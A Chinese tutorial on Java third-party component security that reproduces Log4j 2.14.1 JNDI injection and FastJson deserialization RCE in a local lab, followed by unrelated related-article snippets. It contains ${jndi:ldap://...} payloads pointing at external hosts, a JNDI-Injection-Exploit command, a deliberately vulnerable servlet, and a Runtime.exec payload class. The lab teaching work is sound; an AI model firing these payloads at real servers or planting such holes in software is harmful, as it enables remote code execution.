Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入
目录
Java-项目管理-工具配置
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射
思维导图
Java知识点:
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充
Java-项目管理-工具配置
Jar 仓库:https://mvnrepository.com/
Maven配置:
https://www.jb51.net/article/259780.htm
JNDI:Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
- JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。
- 反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。
RMI(Remote Method Invocation,远程方法调用)是一种用于在分布式系统中实现远程通信和方法调用的Java API。
RMI 允许在不同的 Java 虚拟机(JVM)上的对象之间进行通信和交互。通过 RMI,客户端可以调用远程服务器上的对象的方法,就像调用本地对象的方法一样。
RMI 的工作原理如下:
- 客户端通过命名服务(如 RMI Registry)查找到要调用的远程对象的引用。
- 客户端通过远程对象的引用进行远程方法的调用。
- 远程对象在服务器端接收到方法调用请求后执行相应的方法。
- 执行完方法后,远程对象将返回相应的结果给客户端。
需要注意的是,RMI 是基于 Java 的,并且只能在 Java 环境下使用。它依赖于 Java 的序列化机制来将对象转换为字节序列进行传输。
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和操作分布式目录服务的协议。
LDAP 最初设计用于访问 X.500 目录服务,但随着时间的推移,它也被广泛应用于其他目录服务,如Microsoft Active Directory和OpenLDAP等。
目录服务是一种用于存储和组织大量结构化数据的数据库系统,通常用于存储用户、组织、网络资源等的信息。LDAP 提供了一种标准化的方式来查询、添加、修改和删除目录中的数据。
LDAP 的工作原理如下:
- 客户端通过 LDAP 协议与目录服务器建立连接。
- 客户端发送查询请求(如搜索、添加、修改等)到目录服务器。
- 目录服务器根据请求进行相应的操作,并将结果返回给客户端。
- 客户端接收并处理服务器返回的结果。
LDAP 使用基于文本的协议进行通信,通常在 TCP/IP 上运行,默认端口号为389。它采用层次化的数据结构(树状结构)来组织数据,每个节点都有一个唯一的标识符(DN,Distinguished Name)。
LDAP 提供了一些常用的操作,包括:
- 搜索(Search):根据特定的条件在目录中搜索数据。
- 添加(Add):向目录中添加新的数据项。
- 修改(Modify):修改目录中的数据项。
- 删除(Delete):从目录中删除数据项。
LDAP 还具有灵活的权限控制和身份认证机制,可以确保只有经过授权的用户能够访问和修改目录中的数据。
经典的JNDI注入漏洞:
Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。
上下文注入:
- 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
- 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}
FastJson JNDI 注入漏洞(JSON )
- FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
- 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
- 远程代码执行:由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。
JNDI注入教程:https://blog.csdn.net/ory001/article/details/121879748
Java-三方组件-Log4J&JNDI
Log4J :Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j-组件安全复现
1、Maven引用Log4j
2、接受用户输入值
3、Log4j处理错误输入
4、利用jndi-ldap执行
Log4j-组件安全复现
- 创建Maven并命名为Log4jDemo
- 找到对应版本Apache Log4j Core » 2.14.1,并导入至项目中pom.xml文件中
- 并刷新Maven则导入成功
- 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
- Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
- 在 Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
Maven引用Log4j
Maven安装及配置文件修改:https://www.jb51.net/article/259780.htm#_label0
创建一个新的空项目 Log4jDemo,配置如下图
Maven 引用 Log4j
- 在 pom.xml 文件中添加引用
- 引用代码是那个 Jar 仓库搜索到之后复制 Maven 的代码
- 这里引用的是 2.14.1 版本的
<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency> </dependencies>
引用后左侧就会变成下图所示
创建 Log4jTest.java,编写代码并运行
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;public class Log4jTest {//使用Log4j 实现错误日志输出private static final Logger logger = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {//如果这个code变量是可控的String code="${java:os}";logger.error("{}",code);}}
发现 Log4j 将其当成了命令执行。
在网站中测试 Log4j
创建一个 web 应用程序新项目,配置如下:
如上同样需要在 pom.xml 文件中添加 Log4j 引用
创建 Log4jServlet.javapackage com.example.log4jwebdemo;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/log4j")public class Log4jServlet extends HttpServlet {// 构造http web服务 使用带漏洞的Log4j版本 实现功能private static final Logger log = LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code = req.getParameter("code");// code = ${java:os} 想输出执行结果 需要加$ 不然会不执行// ${jndi:ldap://192.168.85.128:1389/qqbmx0}// ldap://192.168.85.128:1389/qqbmx0 是用工具生成的远程可访问的调用方法// 什么方法 -C "calc" 执行计算器的方法 (JNDI注入工具生成的)log.error("{}",code);}}
运行 tomcat 服务器,访问 url 路由,添加 code 参数,最终构造 url 如下
http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${java:os}
tomcat 服务器的输出日志有如下类似输出
16:29:24.346 [http-nio-8080-exec-9] ERROR com.example.log4jwebdemo.Log4jServlet - Windows 10 10.0, architecture: amd64-64
利用 Jndi-ldap 执行命令
使用 JNDI 注入工具生成远程可访问的调用方法 (这里用的是 JNDIExploit)
也就是 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用命令如下java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "notepad" -A 192.168.85.128要执行的命令 服务器ip
复制生成的链接,构造 payload 如下,令 url 中 code 等于下值然后访问,即可成功执行命令。
${jndi:ldap://192.168.85.128:1389/hy5qgm}
可以正常访问 url 路由,但是当参数变为类似这种 ${java:os} 时,页面直接 400,如图
然后查看 tomcat 输出的日志也在报错,IDEA 里面 tomcat 的报错是乱码汉字,所以就不放出来了。
这是可能因为:在高版本的 tomcat 中无法识别前端提交的字符,如 [] {} 之类
解决办法:
- 找到 tomcat 下的 conf 目录中的 server.xml,修改其中的配置
要是你有多个版本的 tomcat,找到你启动的 tomcat 版本的目录下的配置文件进行修改- 直接搜索 Connector 关键字定位到下面代码,要是你未修改之前默认配置可能如下
<Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" URIEncoding="utf-8"/>
添加两个配置,修改后如下,
<Connector port="8080" protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" URIEncoding="utf-8" relaxedPathChars="|{}[],%"relaxedQueryChars="|{}[],%"/>
- 然后重启一下 tomcat 服务器,就可以正常访问了。
Java-三方组件-FastJson&反射
FastJson :在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
Fastjson-组件安全复现
1、Maven引用Fastjson
2、创建需转换类对象User
3、使用Fastjson进行数据转换
4、数据转换(对象转Json,Json转对象)
-对象转Json(带类型)
JSONObject.toJSONString(u)
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
-Json转对象
JSON.parseObject(exp)
Test:
Runtime.getRuntime().exec("calc");
服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891
Fastjson-组件安全复现
Maven引用Fastjson
User.java
package com.suyou;// 给fastjson数据转换测试用的public class User {private String name;private Integer age;public Integer getAge() {return age;}public String getName() {return name;}public void setAge(Integer age) {this.age = age;System.out.println(age);}public void setName(String name) {this.name = name;System.out.println(name);}}
FastjsonTest.java
package com.suyou;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.serializer.SerializerFeature;// 使用Fastjson去除了User类数据public class FastjsonTest {public static void main(String[] args) {// u Object对象// Integer age String name 数据User u = new User();u.setAge(20);u.setName("SuYou");// System.out.println(u);// 把数据转换为Json格式数据,不想用自带的API(太麻烦)// 所以使用Fastjson来进行数据转换// 将json对象转化为json数据String jsonString = JSONObject.toJSONString(u);System.out.println("这就是json格式:"+jsonString);// 分析漏洞利用 多输出 转换数据类型 其实前面有一个@type转换对象类包String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);System.out.println("这就是json格式:"+jsonString1);// 上面是 对象 -> JSON// 下面是 JSON -> 对象// String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";// 实战中com.suyou.Run 我们不知道 所以一般固定调用java自带的一些包// rmi ldap 去触发远程的class 执行代码(RCE)JSONObject jsonObject = JSON.parseObject(test);System.out.println(jsonObject);}}
Run.java
package com.suyou;import java.io.IOException;public class Run {public Run() throws IOException {Runtime.getRuntime().exec("calc");}}
运行 FastjsonTest.java,会进行序列化和反序列化过程,会将 User 对象序列化转换为 Json,后面会将 Json 反序列化转换回对象,此时,我们发现在反序列化转换回对象时,可以显示对象包名,我们可以通过修改包名来改变反序列化回的对象。
String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}"; String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";
如上面两个 json,第二个将原本的 User 换为了我们自己写的 Run 对象,而 Run 对象中被我们写入了恶意代码,后续过程将 test 进行了反序列化操作,将 json 反序列化为对象时构造了 Run 对象,执行了其中构造函数的恶意代码,弹出了计算器。
但是在实战过程中,我们不知道 comsuyoo.RUn ,我们无法确定人家哪个包可以用,所以一般固定调用 java 自带的一些包,很多复现都能看到,然后使用 rmi ldap 去触发远程的 class 执行代码(RCE)
Fastjson 漏洞复现:Fastjson漏洞复现_fastjson 1.2.84-CSDN博客
思维导图
相关文章:

Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入
目录 Java-项目管理-工具配置 Java-三方组件-Log4J&JNDI Java-三方组件-FastJson&反射 思维导图 Java知识点: 功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用…...

HTML5+CSS3+JS小实例:全屏范围滑块
实例:全屏范围滑块 技术栈:HTML+CSS+JS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale…...

ctf杂项总结
1.文件无法打开 1.1.文件拓展名损坏/错误导致 方法: 1.使用kali当中的file命令查看,之后修改为正确的后缀即可 2.通过16进制编辑器打开查看文件头 3.文件头残缺/错误,可以先使用kail当中的file命令查看它的类型,之后再通过 16…...

openAI key 与ChatGPTPlus的关系,如何升级ChatGPTPLus
一、前言 先详细介绍一下Plus会员和Open API之间的区别: 实际上,这两者是相互独立的。举例来说,虽然您开通了Plus会员,并不意味着您就可以使用4.0版本的API。尽管这两个账户可以是同一个,但它们是完全独立的平台。 …...
KB5034441 0x80070643 reagentc.exe 无法更新引导配置数据
微软2024年1月的更新补丁正常更新会出现0x80070643错误,原因是正常安装系统默认的恢复分区留小了,通过压缩系统盘空间然后在diskgenius扩容恢复分区空间可以解决这个问题,但是笔者在进行上述操作时依旧出现了报错,按照网上的说法可…...

全网最最最详细“Jupyter command ‘jupyter-notebook‘ not found.“的解决方案
"Jupyter command jupyter-notebook not found."。这通常意味着 jupyter-notebook 命令在当前的虚拟环境中未安装或未正确安装,因此系统无法识别此命令。 原因分析 未安装 Jupyter Notebook: 可能你的虚拟环境中还没有安装 Jupyter Notebook。虽然 Jupyt…...

Java中常用的集合及方法(2)
在Java(JDK8)中,集合(Collection)是数据结构的实现,用于存储和操作对象集合。 集合(Collection)中包含的一般类或接口: 在这其中呢,我们经常使用的其实就是L…...

如何轻松打造属于自己的水印相机小程序?
水印相机小程序源码 描述:微信小程序。本文将为您详细介绍小程序水印相机源码的搭建过程,教您如何轻松打造属于自己的水印相机小程序。无论您是初学者还是有一定基础的开发者,都能轻松掌握这个教程。 一:水印相机搭建教程 1 隐…...
Qt+FFmpeg+opengl从零制作视频播放器-12.界面美化
Qt是一个跨平台的C++图形用户界面应用程序开发框架,提供了丰富的功能和工具来创建美观的界面。以下是一些方法,可以帮助美化Qt界面: 使用样式表(QSS):Qt支持通过QSS(Qt样式表)来自定义界面的外观。QSS是一种类似于CSS的语言,可以用来设置控件的颜色、字体、边框等样式…...

【测试】1. 概念 + 基础篇
概念篇 测试相较于开发岗位而言,如果同学们的编程能力稍微弱一些,可以尝试测试方向(更简单) 1. 什么是软件测试 最常见的理解是:软件测试就是找BUG,发现缺陷。 早期,人们更多的将测试看成是对…...

【数据结构取经之路】快速排序的非递归实现
概述 递归实现快速排序在一些场景下有栈溢出的风险,下面就谈谈如何用非递归的方法实现快速排序。 非递归实现的思想 递归实现与非递归实现快速排序的本质是一致的,效率并不会因为用了非递归实现而有所提升。递归实现快速排序的本质就在于通过递归&…...
面试官: Spring Boot中spring-boot-starter-parent 有什么用
该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:spring-boot-starter-parent 有什么用 spring-boot-starter-parent 是 Spring Boot 提供的一个父项目,通过继承该父项目,可以简化 Spring Boot …...

手搭手RocketMQ发送消息
消息中间件的对比 消息中间件 ActiveMQ RabbitMQ RocketMQ kafka 开发语言 java erlang java scala 单击吞吐量 万级 万级 10万级 10万级 时效性 ms us ms ms 可用性 高(主从架构) 高(主从架构) 非常高(主从架构) 非常高(主从架构) 消息中间件: acti…...
Mysql数据库的优点
功能强大 MySQL中提供了多种数据库存储引擎,各引擎各有所长,适用于不同的应用场合,用户可以选择最合适的引擎以得到最高性能,可以处理每天访问量超过数亿的高强度的搜索 Web 站点。MySQL5 支持事务、视图、存储过程、触发器等。 支持跨平台 MySQL支持至少20种以上的开发…...

蓝桥杯练习系统(算法训练)ALGO-980 斐波那契串
资源限制 内存限制:256.0MB C/C时间限制:10.0s Java时间限制:30.0s Python时间限制:50.0s 问题描述 斐波那契串由下列规则生成: F[0] "0"; F[1] "1"; F[n] F[n-1] F[n-2]…...

AHU 数据库 实验五
【实验名称】 实验5 数据库的数据更新与视图管理 【实验目的】 1. 熟悉数据更新操作的概念与操作类型; 2. 熟练掌握INSERT、UPDATE、DELETE语句的基本语法; 3. 熟练运用INSERT、UPDATE、DELETE语句实现数据的插入、修改与删除…...
信号和槽1
信号和槽 Qt信号的三个要素。 信号源:由哪个控件发出的信号。 信号的类型:用户进行不同的操作,就可能触发不同的信号。 信号的处理方式:槽(slot) 差不多等于函数 Qt中可以使用connect这样的函数,把一个信号和一个…...

一个简单的微信小程序表单提交样式模板
没什么东西,只是方便自己直接复制使用 .wxml <view class"box"><form bindsubmit"formSubmit"><view class"form-item"><text class"head">姓名:</text><input class"…...

SpringController返回值和异常自动包装
今天遇到一个需求,在不改动原系统代码的情况下。将Controller的返回值和异常包装到一个统一的返回对象中去。 例如原系统的接口 public String myIp(ApiIgnore HttpServletRequest request);返回的只是一个IP字符串"0:0:0:0:0:0:0:1",目前接口…...

生存预后不显著?最佳阈值来帮你!| 附完整代码 + 注释
大家在进行生存预后分析时发现结果不显著,是不是当头一棒!两眼一黑!难不成这就代表我们的研究没意义吗?NONONO!别慌!说不定还有救!快来看看最佳阈值能不能捞你一把! 对生存分析感兴趣…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...

定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)
🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...
高防服务器能够抵御哪些网络攻击呢?
高防服务器作为一种有着高度防御能力的服务器,可以帮助网站应对分布式拒绝服务攻击,有效识别和清理一些恶意的网络流量,为用户提供安全且稳定的网络环境,那么,高防服务器一般都可以抵御哪些网络攻击呢?下面…...
【Java学习笔记】BigInteger 和 BigDecimal 类
BigInteger 和 BigDecimal 类 二者共有的常见方法 方法功能add加subtract减multiply乘divide除 注意点:传参类型必须是类对象 一、BigInteger 1. 作用:适合保存比较大的整型数 2. 使用说明 创建BigInteger对象 传入字符串 3. 代码示例 import j…...

佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...

【JVM】Java虚拟机(二)——垃圾回收
目录 一、如何判断对象可以回收 (一)引用计数法 (二)可达性分析算法 二、垃圾回收算法 (一)标记清除 (二)标记整理 (三)复制 (四ÿ…...

wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像(比如分辨率3000*3000的图像)的办法,尤其是想把内存中的裸数据(只有图像的数据,不包…...